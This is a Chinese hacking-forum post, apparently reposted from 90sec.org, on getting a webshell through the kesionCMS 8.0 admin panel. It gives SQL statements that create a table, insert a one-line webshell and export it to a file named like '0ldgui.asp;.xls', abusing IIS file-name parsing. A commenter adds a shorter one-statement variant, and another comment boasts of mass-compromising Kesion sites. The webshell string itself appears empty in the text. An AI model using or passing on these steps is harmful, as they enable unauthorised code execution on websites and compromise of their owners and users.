kesionCMS 8.0 后台拿 shell

  • A+
所属分类:lcx

90sec.org

by   老鬼

好久没有发贴了,一直有点忙。

前段时间鬼哥,发了kesion 的任意下载漏洞,关于拿shell 一步代过。其实拿shell还是很简单的。方法多的是。刚刚一个兄弟要我拿个shell ,我就发一种拿shell 方法给大家参考下。

点sql 命令执行。

1.create table 0ldgui (a varchar(50)) 创建一个表\

2.insert into 0ldgui (a) values ('') 插入一句话

3.select * into [a] in 'f:/web/0ldgui.asp;.xls' 'excel 4.0;' from 0ldgui 导出,  在数据库备份可以看到绝对路径

很常用的一个asp sql 拿shell方法


y4q1an:

SELECT '' into [表名] in '网站路径+导出的名字(1.asa;1.xls)' 'excel 8.0;' from 表名

一句话足矣……

摘自:https://forum.90sec.org/viewthread.php?tid=4036&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

留言评论(旧系统):

iick @ 2012-10-21 14:16:47

前年玩科讯的站都玩烂了 批量TXT (^o^)/~

本站回复:

科讯各种洞……

文章来源于lcx.cc:kesionCMS 8.0 后台拿 shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: